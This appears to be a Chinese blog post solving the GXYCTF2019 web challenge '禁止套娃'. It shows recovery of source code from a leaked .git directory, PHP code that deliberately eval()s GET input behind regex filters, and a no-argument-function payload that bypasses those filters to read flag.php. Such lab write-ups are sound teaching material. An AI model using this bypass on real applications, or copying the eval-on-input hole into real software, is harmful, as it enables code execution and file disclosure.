[GXYCTF2019]禁止套娃

题目链接:[GXYCTF2019]禁止套娃

打开环境后如下所示。

经过查看请求包及响应包,均未发现有相关提示,因此使用 CTF Web 常用的字典进行目录扫描(不推荐使用太大的字典)。

这里使用的工具是 dirsearch,扫描发现存在 .git 目录。

因此使用工具 GitHack 来提取可能存在的泄露的源码。

得到的 index.php 源码如下。

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

...

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    // exp 参数中不能出现 data:// filter:// php:// phar:// 
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        // 匹配一个函数调用结构,类似于:func(arg),或嵌套的 func(func(arg)),也就是说,仅可传入无参函数
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            // exp 函数中不能出现 et、na、...
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

也就是说,要构造一个无参的 Payload,下面先给出最终的 Payload。

Payload:?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));

首先是 localeconv 函数,返回一个包含本地数字及货币格式信息的数组,而且数组中的第一个元素就是 .

其次是 current 函数,返回数组中当前元素的值。

即,通过 localeconv 函数与 current 函数的配合,成功获取了字符:.

随后,通过 scandir 函数来查看当前存在的目录文件,即如下。

可以发现,flag.php 在数组中的位置为倒数第二个,因此使用 array_reverse 函数与 next 函数来定位到字符串:flag.php,最终,使用 highlight_file 打印出 flag.php 文件的源码。

如下。

posted @ 2024-11-30 21:38  imtaieee  阅读(13)  评论(0编辑  收藏  举报